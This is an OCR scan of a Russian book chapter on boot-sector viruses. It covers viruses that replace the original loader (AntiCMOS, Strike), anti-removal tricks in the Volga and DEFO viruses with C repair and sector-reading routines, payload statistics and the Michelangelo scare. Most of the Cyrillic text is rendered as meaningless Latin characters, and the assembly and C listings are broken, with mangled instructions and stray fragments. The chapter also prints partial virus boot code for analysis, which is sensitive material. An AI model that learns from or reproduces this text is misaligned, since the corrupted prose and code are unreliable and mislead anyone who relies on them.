THBHbix AH3acceM6jiepOB, KaKOBbiMH hbjihiotch, HanpHMep, H IE W  E. Cyc- 
jiHKOBa hjih ID A  H. iHJibc^aHOBa. YTHJiHTa H IE W  ri03B0JiHer HaanaHHTb 

npaBHJio jjeKo/nipoBaHHH 6aHT0B n p n  noMomn npoc.TeubKoii nporpaMMKH 

Ha npHMHTHBHOM « nceB£oacce.M6jiepe». a b ID A  jijlh stoh ucjih n p u j ie i c x  

iracaTb CKpunTbi Ha BCTpoeHHOM C h - hjih Python-noaoSHOM H3biKe.

2 . 4 . 2 .  B u p y c b i ,  H e  c o x p a H n io m M e  o p w n iH a / ib H b ix  

3 a rp y3 H M K 0 B

/J,eHCTBitH, BbinojiH aeM bie CTaHaapTHUMH 3arpy30HHbiMH nporpaM M aM H, 

BecbM a n pocTb i h  o jn oo 6 p a 3 H b i: MHUHMajibiro npoTecT iipoB aTb  jiorw H e- 

CKyio C TpyK Typy a n cK a  Ha K0 ppeKTH 0 CTb, npoHHT'dTh b naMHTb cJjparMenT 

CTapTOBoro <}iai:iJia onepauHOHHOH chctcmw h  nepeziaTb eM y yiipaBJieirne. 
IIo a T O M y ireKOTopan qacTb BHpycoB He coxpanaeT op iin m a jib H b rx  3 a rp v - 

30HHbIX CeKTOpOB BOo6 lUe, CaMOCTOflTeJIbHO BblllOJIIWH HX (fjyHKUHH.
B KaqecTBf npHMepa paccMOTpmi cjiparMeirr jihcthhra Biipyca 

AntiCMOS. KOTopbin jnnnb eoxpanneT bhvtph ce6a Partition Table, ca- 
MocTOHTejibHo cKamipyeT ee ii 3arpv>KaeT b naMHTb boot-ceKTop aicniB- 
Horo paa^e.Ta BHHMecrepa:

Je F rom.FDD
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From_HDD
(SO V s i , o f f s e t  PTable-10h
Next_Rec
add s i . 10h
cmp b y te  p t r  [ s i ] , 80ft 9to aKTMBHbiii pasfle/i
in s Next_Rec b P a r t i t io n  Ta b le ’
Mov d x . [ s i ] Ec/ im aa, tc nponcxooMT
mov c x , [ s i+ 2 ] 3arpy3Ka e p e riic rp y
mov Dx,[7G00h] Koopfiiwat boct-oeKTOpa
mov a x ,201n ar.TMSHoro pasaena u
m t 13h MreHHS e ro  6 nanctb  no

jmp s h o rt loc_11
aapecy 0 7C0C

From_FDQ: ©pari.ieHt 9My/ifiaMn aarpysKH

L.oc_ 11: 

db OEah

c flHCKeTw (nponyiiien). 

JMP 000 0 :7C00ti
dw 7C00h. 0000

P ta b le db 64 dup (? ) P a r t i t io n  Table
dw OAA55h L/M • hSTy'pd 33 TpyoO’HHU TO 09kTCD3

Taj«Ke BaM 6 ya eT  jiioG onbn ’en  (JjparMeHT jiHCTHHra BHpyca Strike, k o - 

Topb ift HMHTHpyeT ^eiiCTBHa opu rH H ajibH oro  3arpy34HKa npn n on b in ce  

3arpy3H Tbca c «H ec iicTeM H O M » zuicKeTM.

mov d l,ds:S ave_D L
crap d l , 80h
ja e  Frora_HDQ
!ro- I0D:

mov s i , o f f s e t  Messag
NextC:
lodsb
o r
JZ
mov
int
jmp

a l,  a l 
EndPrt 
ah,OEh 
10h
sh o rt NextC

Sarpy3Ka ow.na repa?

End_Prt: 
sub ax,a.» 
in *  I6h 
i n t  ] 9h 
From^HDD:

Messag db 'Hon-Systera 
flb 'R ep lace and s t r ik e  ;

db
ob 64 dup (? ) 

OAAfSr

, 06pa6oTKa sarpysKH c flHCkery:
; MĤtMUMposaHtie SMHxecTepa (nponynsno) 
; Aapec cooGneHMH

; Btjcoptia QMepeanoro cuMBora 
; 3to K0H9U. CTPOKH?
, Ha -  euxoflH us naKna 
. Her -  DToopaxeHMe

CUMEOJiS H3 aKpBHS
B03Bpat B UHK.T

: 0)TMflaHM8 H3*8THfi 
aioSoii kjiaeniiii-i

"Tennas" nepesaroysra  hssmhm

OCpaooTKa -sarpysM! c BHHHecrepa 
d is k  or d is k  e r r o r ' ,  ODh, OAh 

my key when re a d y '. ODh, OAh

P a r t it io n  Tnoie
npil2H3f S.jrpv'ICMH
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CpaBHHTe npHBe^eHHwe f ] ) p a r M e n T b i  c no.m biM ii j i M C T m i r a M H  MBR 
B H H i i e c T e p a  h  boot-ceKTopa A H C K e x b i .  Jlenco B H A e T b ,  h t o  C T a H A a p T H b i e  3a- 
rpy3HHKH HanHcaHbi oo.xee «naAeacno». B ' l a c n i o c x H ,  cxaimapxubiH k oa  

MBR OAHOBpeMeHHO co CKaHnpoBattHeM xao.xMUbi pa3/ie;ioB npoBepaex  

ee Ha KoppeKTHocTb. Ec/ni axa Ta6jm na no  KaKon-jinoo npnMHue pa3py- 
rneHa, t o  cTaH/iapxiibni aaxpyaMHK Bbi/tacx npeAynpeacAaiom ee coo6m e- 
HHe, a BHpyc A n t iC M O S  npocTO aaruiK/iHxca. KpoM e Toro, B b i  hh npii Ka- 
k hx  ycjioB iiax  He CMoacexe 3arpy3HTb onepauHoiiHyio cncTe.My c a h c k c t m ,  

aapaacennoii BHpycoM S trik e . B e^b  BHpyc npocTO He VMeex axoro AeJiaxb! 
TeM He Menee b 9 9 %  c.xy'iaeB , r m  Bupycbi nocTynaiOT t o h h o  TaK ace, KaK 

nocTyraiJiH 6bi Ha h x  m c c t c  CTaHflaprabie 3arpy3HHKH, h njiaroAapn axoMy  

n0Jib30BaTeiib ne aawe’taex noAMenbL

EcjiH Bbi XOTHTe aBTOM3TH3HpOBaTb ripOUCCC JieHeHHfl H HailHCaTb 

co6cTBeHnyio aHTHBiipycnyio nporpaMMV, to  noncK  BHpyca no  curaaTy- 
pe b ceicropax h b  na.vwni HvacHO BbinojiHHTb b to h h o cth  TaK ace. KaK 

mm 3to  zie.xa.xH ;xx>{ BHpyca S to n e d .A n t iE X E . JXnsi «./ie>ieHHH«> MBR 
rroxpeuyexca HMeTb BHyxpn nporpaMMbi coAepaaiM oe cxaHAapxnoro 3a- 
rpyaoMHoro ceicropa nnH'iecTepa. H cooxoah m o nepenecxn BHyTpb Hero  

H3 BHpyca 6 4  oairra Ta6jiHHbi paaAe.xoB, a n0T0M aarnicaTb no.xyHeHHbiii 
k oa  Ha CBoe 3aK0HH0e MecTO -  b  ceKTop { 0 , 0 , 1 }  acecncoro ancKa. Tohho  

TaK ace a n a  «ncue.xeH iiH » ah c k c tw  na/io HMeTb coAepaciiMoe CTan/iapTno- 
ro  boot-ceK Topa (a.xh KaacAoii Bcpcm i onepamiOHHOii chctcm h -  CBoe!), 
b KOTopoe Hvacno nepeHecTH H3 Bnpyca xao.xHuy napaM expoB AHCKeTbi, h  

B ee  BMecTe s to  noMecTHTb b  CTapTOBbifi ceKTop rn6K oro  AUCKa.

2 .4 .3 .  MexaHM3Mbi npoTiiBOAeftcTBMsi yA ajiem uo  
BupycoB
OflnaKO Aa.xcKO He Bee aarpyao 'n ib ie BHpycbi cnoKonno MHpa rcM c nep - 

cneKTHBOH CBoero oonapyacenHH n  yHH4ToaceHHa. B o t , HanpHMep, cj>par- 

MeHT oiuicam iH  ( o t  E. K acnepcK oro ) a x  a BHpycoB ceMeiicTBa V o lg a  

(V o lG U ) .

...Bupycbi nepexBarbiBaioTnpepbiBaHue INT 13h (odpamenue k m c - 

Ky) u c/ieafiT3a onepau,mMM vTeHiw/3anMCM.
...Flpn 3anMcn ceKTopa mam ceKTopoB nepe3 oGbMHyto (pyHKuwo 
(AH=03h) Biipyc sanucbiBaer ceKTopa no 0flH0Myc n0M0UJ,bi0 tpyHK- 
DMK «3anwcb jjjit/iHHbix ceicropoB» (AH=0Bh)... flpui Hrenm ceKTopoB 
c noMoiubio o6bNHoiA cpyHKum meHm (AH=02h) BHpycbi TatOKe Me- 
HmoT <pyHKU,M)o Ha «‘-neHMe /uimhuux ceKTopoB» (AH=0Ah), Koropaa 
HMTaer Kate ceKTopa, 3anMcaHHbie cpyHKUMefi AH=02h, rax m aanuicaH- 
Hbie cpyHKUMefi AH=0Bh.
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B p e 3 y jib T a re  n a c rb  c e ic ro p o B  m u ck s  ( t o  e c T b  b  K o r o p u e  np0M 30Luna  

3anucb) 0Ka3t>iBai0TC(i b  cp o p M a re  L O N G , a ocra/ibHbie -  b  craHAapr- 
h o m  (p o p M a re .. .  B 3apaxeH H O M  c u c r e M e  am ckm  w ra iO T C ft K3K o 6 n h -  

h o , h o  nocne y A a neH tw  B u p y c a  m  n a M a m  u r n  n o c / ie  yA a neH u n  Bvtpy- 

ca H3 MBR m 3 a rp y 3 K e  c w c r o r o  A u c K a ... Bee n o p a x e H H b ie  cetcropa 
n e p e c r a io T  n m a r b c a  cp e A C T B a M n  D O S ...
/Ina McnpaB/ieHua r a m x  ceKTopoa T p e 6 y e rca  cneuna/ibnaa n p o 
rpaMMa, Koropaa flonxHa nmarb noApaA Bee ceKTopa Ha AMCKe 
06bMH0M (pyH W ueu  h r e  huh ( IN T  13h AH=02h), noKa He HatiAeTca  

cdoMHbiM ceKTop. C 6otiH bifi ce K ro p  v m a e T ca  v e p e 3  cpyHKumo «me- 
H n e » a / m h h u x  ceKTopoB ( IN T  13h, AH=OAh), m e c n i i  nreHKie npouuno  

ycneuiHO, 3anucbiBaeTca 06parH 0 n ep e3  o6biHHyio cpyHm nio 3 a n u cn  

( I N T  13h AH=02h). Ha ncnpaB/ieHuie n o p a x e n n o ro  T a w M  06pa30M  
AMCKa rp e d y e rc a  3H aw Te/ibH oe speM a  -  o r  necKO/ibKux MMHyr a o  

vaca m 6 o n e e  ( b 3aBMCMM0CTM o r  oG beM a am ckb m e r o  BpeMeHw a o -  

c ry n a ).

XnTpOVM HW il aBTOp BH pyca B0al0jIb30BajICM TeM (J>aKTOM, HTO. KpOMC 

« o 6 biHHbix>> o iiep a m rii h tch iis i h  3anHc.H ceKTopoB, npepbiBanH c 13h TaK- 

ace noaflepacH BaeT h/ih BHunec.Tcpa i ix  «p a cm n p eH H b ie » BapnaHTbi. 0 6 i> -  

e\i CHHTbiBaeMoii h jih  3am icb iB aeM oii HH<J>opMamiH eocTaBJisieT b 3 tom  

c jiyn a e  516 6 aHT0 B, H3 h h x  4 nocjie/iiiHX oaHTa coaepacaT  KO H Tpojib iiy io  

cyM M y M irraeM oro h jih  3anHCbiBae\ioro coziep jKH M oro. C eK Topa , 3anncaH-
H bie B «/ U IH H H O M » (Jo p M a TC , H H Ta iO TC H  « 0 6 b I4 H 0 l i»  K 0M 3 H H 0 H  C O IU h 6 k 0M 

K O H Tp O JIb H O H  C yM M bl.

O3HaK0MHBiuHCb c «peuerrroM» o t  E. KacnepcKoro, rionpooye.vi npej- 
cTaBHTB ceoe, KaK Morao 6bi tibirjiM/ieTb «MarnHecKoe cna/io6be» hjih bhh- 
qecTepa, HcnopneHHoro BupvcoM Volga.

mt 1, j , k, result: 
unsigned char buf [516];

for (i=0; KMAXTRK, i +~; // L^ui no rperaM
for ( j =0; >MAXHEAD; j++i // ÛK-n no ro.noê M
ror fk=0; WMAXSEOT )<: // Lin? no csktoDcIm

:'95ult = &103aU.k; OXUJ, 1. 1. k. 1 Duf ).// [feT.-eMf;:! Mi1T3Tb
if (result) I// Heynana? 

tiOSCll5ix( 0>10; 0\d0, 1. I, k, but i, //' HUT3i” 'a.HilHHO'
Di0S0r;K( 0>03. j, 1, k, 1, nu: ; / /  " i j n s t-M Hirs.jfl

>
I

O tm c th m  em e  o ji im  n eo o b ra ib r ii 3a rp y 3 o 4 Hbiii B iip yc  DEFO, n bixa io- 

lUHi'icH npoT iiB oaeiicTB O B arb  a irn iB H pycaM .
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... /Ip u  a a p a x e H iw / w c K e T  c p o p M a m p y e r  A o n o / iH m e / ib H b it i  rp e K , co- 
f l e p x a i u m  e a m c T B e H H b iM  c e i c r o p  o j im h o m  4 0 9 6  6 a m ,  u  a a n u c b iB a e T  

r y A a  c b o h  k o a . . .

ilejio b tom , ' { t o  napaM eTpbi ̂ h c k c tm  -  ceK Top  BM ecTHMocTbio 512 6aii- 
to b ,  40 i i j ih  80 aopo jfceK , o t  9 ; io  18 ceicropoB  Ha ;iopo>KKe -  h b jih io tc ji 

-scTaHflapTHbiMH» TOJibKO ji-’tsi o n e p a m io m ib ix  CHCTe.M OT Microsoft. B TO 

Bpe.MH KaK KOHTpojI.Tep HFM/], 110,3BO.TKCT C03flaBaTb H HCn0.Tb30BaTb 

AHCKeTW, 0praHH30BaHHbie coBceM  n o  ap yrr iM  npaBHJiaM. B M acTHocTii, 

B03M0JKH3 3ailHCb HH(j)OpMaHHH Ha 80-10 JlOpOKKV H B ceKTOp BMeCTHMO- 

CTbio 4096 6 aiiTOB! n  o ;ip o 6 n o e  omicamie B03M0/KH0CTt:H KOHTpojuiepa 

H Cn0 C0 6 0 B HX <<HeH0 pMaTHBH0 r 0 »  HCn0JXb30BaHHH BblXOJHT 3a paM Kii 

/ ta im on k h h th . T cm  He M eHee ripHiie/icM npH M ep nporpaM M bi, c n o co oH o ii 

n pon iiT aT b  coaep>KHM oe <<ceKTopa-n iraH Ta». 

int
db_seg, // Ceri-i9HT Saaw s.ucKa 
db_ofs; // OMSiueHi-ie 6a 3H amoks 

unsigned char
buf[4096], //' Byt-ep ana fiaHHwx
db[ 11 ] = {OxDF, 2. 0x25, 5, 02, 0x2A, OxFF, OxA, 0xF6, 25. 4 }; i i  Basa "ucxa

db_seg=peek(0: 122); / , /  CoxpaHfleM crapoe 3hsm?hhs

db_o fs=peek(0 , 120): / /  anpsca gasw ahcks

pokefO, 122, FP_SEG(db[oi! ) ,  / /  VcTaHaBiiHBseK yKasate/sb
poke(0, 120, FP _Q FF(db[0 j) ) ;  / . /  Ha Hoeyie 6asy ahcks

biosdisk(0x2, 0. 0, 80, 1, 1. cuf ):// HsrraeM 4096 SaiiTos
i i  us 1-ro ceKTopa 80-i«
// A0p0*?l! BHCfSTM A:

&oko(0, 122, Jb_seg). // BoocTaHaBJineaeM cTapoe anaMeHns
poke(0: 120, db_ofsi; i i  anpeca oa-ju flMc>a
D10Sdl3k(OxO, 0, h, t, S, 1. buf ); // GOpOC flilCKOBOr noflCHOTeMH

K npiiBe^eiiHOMy 4 > p a ra eH T V  neooxo/mMo /m b HeK0T0pbie iio h c-  

HeHiia. Ulpoueaypbi BIOS, npeflHasiiaMeimbie zuim MaminyjnipoBaHUfl 
c ceKTOpaMH a i i c k c t ,  oSpamaiOTCH k cnpaBOMHoii iiHcfxjp.vianHji -  TaK na- 
3biBaeMoii 6ase ducna. Ba3a HHCKa -  bto o/uiHHaauaTHoaihxiisMii mscchb, 
aapec KOToporo b 4>opMare «cerMeHT:cMemeHHe» pacnoJiaraeToi b noan- 
miH BeKTopa lE h . B 3TOM MacciiBe no CMeiueHHio 3 co/tepaaiTCfl koa paa- 
Mepa ceKTopa (0  -  128 GaitTOB, 1 -  256 ii t./i.), a no CMeiueHHio 4 -  HOMep 

iiocjieimero ceKTopa na ziopoacKe. T oro  qroobi sacTamiTb flHCKOByro 

IKVICHCTeMV HHTaTb CCKTOpa HCCTaHflapTHOH flJIHHbl, flOCTaTOHHO BpeMCH- 
h o  H3MeHHTb 6 a 3 y  /tncK a.

PaavM eeTC fl. B H pyc, n o .m o c T b io  yM eiiia io iUH iicH  b  512 o a ir ra x  3 a rp y -  

aoH H oro  ceK Topa . npocT G  cJ)ii3H4ecKH He MoaeeT coaepacaT b  b  ceoe o e o o o
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xiiTpbix «.)iOByuieK». BcHHecKHe HaBopoTbi -  npHBH;ieniH «;uiHHHbix» 
BiipycoB, HanpHMep DEFO, cbohm  kojiom iioJinocTbK) aanojiHaiomero B ee 

4096 6af}TOB «rnranTCKoro» ceKTopa.
MxaK, c/ie/iaeM  BbiBO/ibi: HeKOTOpbie 3a rp y 30MHwe BHpycbi He xaK  

npocTO « n o 6 eflHTb». noB epxH ocxH bift aHa;iH3 KO/ia «3ap a3b i» h  nonw T- 
Ka TpiiB iiajib iioro yjjajienHH e ro  H3 a a rp y so 'tn b ix  ceKtopoB M oryT ziopo- 
ro  o 6 oiiTHCb ToponJiHBOMy h  h c b h h Maxe/i b u o m v  SKcnep iiM eiiTaTopy. H o  

Hayweiine xiiTpocTeii m t o h k o c t c h  neKOTopbix « n p o n b h n y tm x  » B iipycoB  
He TOJibKo cjio>kho ii orracHO, h o  xaKxce o'leHb iiHTepecHo h  BecbM a rio- 

jie sn o  a j is  caMOOopasoBaHHH b oSjiacTH  CHCTeMiioro n porpaM M iipoB am ia.

2.4.4. nponBiieHMfl 3arpy30MHbix BupycoB
B cn/iy cBoero modus vivendi aarpyaoHHbie Bupycbi cnoco6Hbi cocymecx- 
BOBaTb c <<MnpHbiM» nporpaMMHbiM o 6ecnelieiiHeM, He kohc})jihk tvh  c 
HHM H HHMCM Ce6fl He o6HapV/KHBaH. Beflb 6 0 JIblIIHHCXB0 H3 HHX no CBOeil 

CVTH aB.TOIOTCH He HCM HHbIM, KaK BHO/IHe KOppeKTHO UariHCaHHWMH Ba- 
piiaHTaMH 3arpy30HHbix nporpaMM, oTJiH'iaroiiiHMHCH ot  «cxaH;iapTHbix> 
coopaTbeB jiHiiib yMeroieM KonnpoBaTb c bo h  k o a  Ha ;ipvrne /nicKera h 
BHHMecTepbi. KaKQBoe VM eHiie o h m , KCTara, coBepuieHHo He o6a3anbi 
aeMOHCTpnpoBaTb nocToaHHO. H3BecTHbi cJiyMaii, Korzia 3arpy30HHbie 
BHpycbi, HaxOflKCb B JiaTeHTHOM COCTOflHHIl, OCTaBajIHCb B 3arpy30HHbIX 

c eK Top ax  aKTHBHO ncnojib3yeMoro BimHecTepa no 7 -1 0  JieT h ooHapy^CH- 
BajiHCb Jimiib c JiyHaiiHO.

Bhjuimo, HeK0T0pbix «TBopnoB» pa3apa>KaeT hmchiio sto  cbohctbo 
coocTBeHHbix «TBopeH»H». Mm npocTo He yjjaeTcsi ycnfleTb ciiokohho Ha 
Mecre b OJKHaamni «cjiaBbi», nycn> n aHOHHMHoii. Bcvib cpoK «npH 3iia- 
hhh» MoaceT pacTMHVTbc.a Ha roaw ! 3 to  TaKoe ace MymiTejibHoe h Tarocx- 
Hoe omymemie, KaK h y HrpoKa b npaxKH, KOTopwii HacmxbKo xopouio 

3aMacKnpoBajic5i b nbuibHOM HatJjxajniHOBOM uneasy, hto ero HHKaK He 

M oiyr ooHapyjKHTb. Oco6eHHO earn b npHXKH nrpaex oh oaiih ji ero hh- 
kto oco6eHHo h He mnex. KaK xyx b caMbiii Henoaxo/iHmml momcht He 
BblCKOHIIXb H3 UIKacf)a c zihkhm Bon.xeM <sa BOX h >1»?!

M BbicKaKHBaioT: BbiBO/iHT Ha SKpan pa3Hoo6pa3Hbie H3o6pa>KeHHa, 
HipaKjT MV3biKa;ibHbie c}>pa3bi, a to ii npocTo riopxjrr HH(|)opMaiuuo na 

/UioKe. Ceii'iac H3BecTHo okojio 1000 3arpy30HHbix bhpvcob, o6beaiiHeH- 
Hbix b HecKo.’ibKo coTen ceMeiicTB. Ms npHMepHO 250 ceMeftcrB 3arpy3o i-  
Hbix BHpycoB, oraicaHHbix b Kaxajiore M. HaHiuioBa:

O  42% coaep>KaT OTKpoBenno aecxpyKTiiBHbie, nanpaB.ieiiiibie na 
yHH4T0*eHiie ii ojioKiipoBaHfie iiHcfxjpMannn npouejiypbi;

O  40% aeMOHCTjnipyioT Ha 3Kpane BtiAeoscfxfjeKTbi, to  ecxb naoopa- 
>Kajox naanncH ii KapxnHKH'.



78 ❖ 3arpy3QHHbie BMpycbi

O  8% n3MeiWKJT cHCTeMHyio HHtJxjpMamiro, ribrraacb npeaoTBpaniTh 

CBoe o6napy>KeHMe h ysajieHHe;
O  6% coaep>KaT oiiihokh, cnoco6Hbie noMemarb iiopMajibHoft paSoxe 

Ha KOMnbroTepe;

O  2% /iem ohcTph pytot ayAHoatJxJjeKTbi, to ecTb nponrpbiBaioT Kaiciie- 
to Me.ao/iHii hjih npocTo num ar AHHaMHKOM.

H  ecTb eme 26% BHpycoB, KOTOpbie He aejiaioT HHHero H3 Bbiuxenepe- 
MiicJieHHoro h noaroMy MoryT cnnTaTbcfl OTHociiTeJibHo He3aMeTHbiMii h 

6e300HflHMMH. KolieHHO, B CyMMe Bee STO COCTaBJIHCT OOJIbnie 100%, HO 

He cJieayeT 3a6biBaTb, hto HeKOTopwe BMpyconHcaTe/m CKJioHHbi npiiMe- 
HHTb B CBOHX BHpycax Cpa.lV HeCKOJIbKO pa3HOOOpa3HbIX «U[yTOK».

HaM, KOHeHHO, B 3T0M KOHTeKCTC OOJiee Bcero HHTepeCHM BIipyCM- 
<y6nftubi». H  npeJKfle Bcero: nacKojibKo ohh onacHbi n mojkho jih KaK- 
HHOVab BOCCTaHOBHTb IlOHpOKAeHHVlO 11 VHHHTO^eHHVIO HHfjjOpMaUHK).

B KaMec.TBe npHMepa paccM O TpiiM  B iip yc  S to n e d .M a r c h 6  (<>Michelan- 
g e l o » ) .  C 3 th m  B iip y co M  6 biJia cBJisaHa nmrepecHaji h  oneiib n o y fF rre jib -  

H aa  HCTopwa. B H an ajie  1991 r. BHpycoJioraM H 6 m ji o 6 i ia p y * e H  b  « a h k o h  

npnpo/(e» h o b m h  sarpysoMHbui B iipyc , cnoco6Hbril 6 M apTa Ka>Kzioro 
rofla ymiHTO/KaTb uncfiopMamno Ha BHHMecTepe. Fopa3AO no35Ke, Kor- 
jja  H C Topua, cB asaH tian  c 3THM B iipycoM , 6biJia b  pa3rape, >Kypna.nncTbi 

o6paTHJin  BH HM aHiie. h to  6 M apTa -  a e iib  po jK aeH H fl BeJiHKoro xyaoa<- 
HHKa M H K e jia a a ac e .10 B y a H o p o r rn .  BHpyc B ou ie ji b H CTopiiio  no/i hm c- 

HeM «M ichelangelo», h  boiuc.i «rpoM Ko» -  3h m oh  1992 r. ;ibp K pynH bie  

aM epHKaHCKne (JmpMbi, np0H 3B 0flH B m ne nepcoH a.nbH bie KOMnbK>Tepbi, 

ny6jitiMHO iipH 3H a jm cb , h to  C J iy ia iin o  p a c n p o c T p a n n .™  n p n jia raB U iiie ca  

k  KOM iibK )TepaM  AiicKCTbi c cHCTeMHbiM uporpaMMHWM o6ec iieH em ieM , 

3 a p a * e n n b ie  s th m  B H pycoM . H a3 b iB a jiH cb  UH<f>pbi -  o t  500 a o  900 3a- 

paaceHHbix ancKeT. Ha c jie jiy iom H fi aeHb H H cjjopM am ioH iioe  areHTCTBO  

U P I B3H.io y  KpynHeiimero BHpycojiora John MacAfee HHTepBbso, 3aBep- 
UIHBUieeCH CeHCam iOHHblM  BMBOaOM: COTHH TblCHH KOMnblOTepOB M oryT  

OKa:>.aTi»ca non y s a p o M  6 M apTa, b  AeH b aKTHBam iH  BHpyca. Cjie/iyioiHHM  

b h tk o m  b  :-)CKaJiani-iH H C Tep im  CTa.no aaaB .'ieuH e areHTCTBa R eu ters , b  k o -  

T opoM  c o  ccbu iK ofi o rw rb -T a K H  Ha M HeHiie M a c A fe e  yno.viiiHa.nucb y>Ke 

riHTb MHJIJHiOHOB I10paa<eHHblX KOMIIbfOTepOB.

HerpyflHO ripeflcraBHTb ce6e peaKHiuo n p ocrax  H0Jib.30BaTe.neH, na 

KOTopux co cTpaHnu raaeT h Te.nesKpaHOB b OAiionacbe o&pyuiHJincb ra- 
KHe HVaOBHUtHbie «HOBOCT1I». 13 CHHTaHHbie HaCbl CTOHMOCTb aKHHH ailTH- 
BHpycHbix KOMiiaHnii n0ACK0HH.ua b necm ibK o pas. 3 th  KOMnamm, co 

cBoeii CTopoiibi. TO>Ke ne cjihwkom cnemn.UH ycnoKaHBaTb nepenyraniibix 

KOMnbiOTepHbix oobiBaTC.nefi. Mc repiia npoAOJiJKajiacb necKojibKo aeaejib
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H 3aK0H4H.’iaCb VTpOM 7  MapTa. ITo O(f)MUHaJlbHblM CBeaeHHJIM, 6 bUIO 3a-  
(|)HKCHp0BaH0 OT 1 0  0 0 0  /to  2 0  0 0 0 .. .  neT, ztaace He n o c x p a /ia B m u x  KOMntro- 
TepoB, a  B c e ro  iinuib  (JjaKTOB o 6 Hapy>KeHHJi BH pyca «Michelangelo», 
npoH 3o m e ;u im x  3a  s t o t  cpoK . A  peajibHbiM y m e p 6 oM (HcnopHeHHbiMH 
;iannbtM H) moivih <<noxBacTaTbca» ispn;i /in  o o /ie e  c o t h h  no.TbsoBaTe- 
jieii -  Bce-TaKii sarp yso 'iH b ie  Biipycbi n epen ocH T ca c MauiHHbi Ha MauiHiiy 
MeajieHHo, a  noBceM ecTH oe iicn0Jib30BaH H e «cBe>KHX>> aHTHBiipycoB b n o-  
cJie /tim e nezie.an riepefl aKTHBaiuieii Gbi.’io 6 ecnpene;ieHTHbiM.

CnycTH riMTb .-iex, b Hana^e MapTa 1997 r., HeKOTopbie cpeacTBa Mac- 
coboii HH(|)opMauMH CILIA nonbiTa/mcb «peaHHMHpoBaTb Tpyn». BHOBb 

BHTaiUHB na HOBocTHbie HHTepHeT-caiiTbi nponaxmyio Hacfrra.mnoM 
HCTopnio o <<Kp0BaB0M M iche langelo*-11 c-poKOBOii /iaxe». KaK h c./ie;io- 
Bajio o>KHaaTb, Ha H ee  no'rrw hhkto H e oopaTHJi BHHMaHiw, h Ha s to t  pa3 
ceHcauHH He no/iy'uuiocb. Bupyc-TO k TOMy BpeMeHii mojkho 6mjio irai-mt 
.THuib «b  npo6npKax» y  BiipycojioroB.

A  c n y c T H  em e  flBa ro^ a , 26 anpe.TM 1999 r., n o a ie a o B a n o  n e0>KH/iaHH0 

KaTacTpo(J)iT4ecK oe  npoAO/iaceHHe h c to p h h . BnpowcM , nocKo.JibKy <<r;iaB- 

h u m  repoe.M »  Ha s t o t  pa3 cxa ji l ie  «  Michelangelo*, n  ;ia>Ke B oo6m e He 3a- 

rp yso 'iH b iii BHpyc, p e in> o& 3to m  i io i t ie T  b rjiaise, nocBH iiieH H oii BHpycaM  

JVin  W in d o w s .

Pa3pyuieHHe HHclxjpManHH Ha BHHHecTepe, HaHeceHHoe 3arpy30M- 
hmm BiipycoM, He Bcer^a (JjaTa.ubHO. KaK ripaBH.no, BHpycbi sano/inaioT 
«MycopoM> ceK Topa -  j iii6 o cjiyiaH ito Bbifipaniibie, jni6o npmiajusoKa- 
mne CHCTeMHbiM ooJiacrHM ancKa. B HeKOTopwx Cviynajix OKaabmaeTCH 
B03M0acHbiM x o t h  6bi HacTHHHO BOCcTaHOBiiTb flaHHbie Ha BHHHecTepe. 
CvmecTByioT cnemiajibnbie nporpaMMbi (HanpHMep, Tiramisu/Easy Re- 
cove iy ), KOTOpue nbiTaioTCH cjejiaTb sto , hciiojiijsvh c.noacHbie 3Bpnc- 
T ir ie c K iie  aJiropHTMbi. A  iiHoraa iieiLTOXHX pe3y.ibTaTOB mo>kho flooHTbcn 

II caMOCTOHTeJIbHO, BOOpyaCHBlUHCb Bcero JIHIUb HOPTOHOBCKHMH yTHJIIl- 
TaMH o t  Symantec, 3HaHHeM npaBiui opraHH3auHH <J)aHJiOBOH cncTeMbi Ha 
m C K C  H 3apaBbIM CMblC/IOM.

2.4.5. 3arpy30MHbie Bupycbi m Windows
Cpa3y nocJie BK/noHemiH niiTaHHfl KOMnbroTepa nponeccop i80x86 Ha- 
MiiHaer pa6oTy b TaK Ha3biBaeMOM 4p e a jim o .u »  pe>KHMe. Ero oco6eHHo- 
CTblO HBJIMeTCH HCn0Jlb30BaHHe I 6-61ITOBOH UIHHW /laHHbLX h 20-6htoboh  

miiiibi anpeca, cooTBeTcrBeiiHo nponeccop iicno.TbsyeT ro/ibKo 16-611- 
TOBbie perncTpbi 11 cnocooen «VBn/ieTb>> ;nmib 1 M o naMHTii. IIosTOMy, 
KCT3TH, 3tot peacHM HHoraa HarSblBatOT % 1 d -6 u tnoeb lM ». li.MeHHO B 3TOM 
peaciiMe (t)VHKmiOHHpyioT npoueavpbi B IO S  ( b  tom mhc/ic h npoueaypa 

o6pa6oTKii upepbiBaHHH 13h) h onepanHOHfiaa cncreMa M S -D O S .
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Ovipwa M icrosoft ;ieK/iapnpyeT, hto 0nepau,H0HHbie chctcmu ceMeii- 
CTBa W indow s ncnojib3yioT Apyroii, TaK Ha3biBaeMbift < ia iu ,u iu ,em m uo  pe- 
>khm paooTbi uponeccopa. B stom pe>KHMe periiCTpbi coBpeMeHHbix npo- 
neccopoB cnoco6Hbi xpamrrb 32 h;ih 64 6riTa. Mm CKOHnenTpnpyeM CBoe 
BHHMamie Ha «32-6htobom » peacHMe a  no/t/iep/KMBaroimix ero onepauH- 
ohhmx cHCTCMax. Ha caMOM flejie noJiiiocTbro 32-pa3paflHon >m.rjaioTca 
TO/ibKO pas.'iHHHbie Bepcim W indow s N T  (BKJnoHaa W indow s 2000, XP, 
Vista h T. /!.), a W indow 's 95/98/M E no Mepe Heo6xoAii.\ioc-m nepeKJiro- 
nafOTca H3 pe>KHMa b peaciiM. rioapo6Hee s to t  Bonpoc oy/ieT paccMOTpen 

b rjiaBe «OaHJioBbie BHpycbi b W indow s».
TiinHHHaa o n e p a n H o n n a a  CHCTeMa ceMeftcTBa Windows NT n o jiH <>  

CTbio 6 e p e T  n a  c e o a  o 6 p a 6 o T K V  aocTyiia k o  B ceM  a h c k o b m m  y C T p o iic tb s m  

n e p e 3  n o p T b i K o m rp o ju ie p a . 3 to  03Ha>iaeT, hto aa>Ke e a r n  3 a rp y3 0 H H b iii 

B i ip y c  n o c j i e  B K A to H e iiH a  n i r r a im a  h  y cT a iioB H J i c b o h  « a r p e c c H B H b ii i »  

o 6 p a o o T H H K  npepbiBaniM I3h, B ee  paBHO h h  o n e p a m io H H a a  cucTe.via, h h  

n p H K J ia flH b ie  n p o rp a M M b i k  3Tomv n p e p M B a m n o  n p o c T o  H H K o ra a  n e  6 y a y T  

o o p a m a T b c a . /tin n o& a ep jK K H  HcnojiHenna 16-6htobmx DOS-nporpaMM 
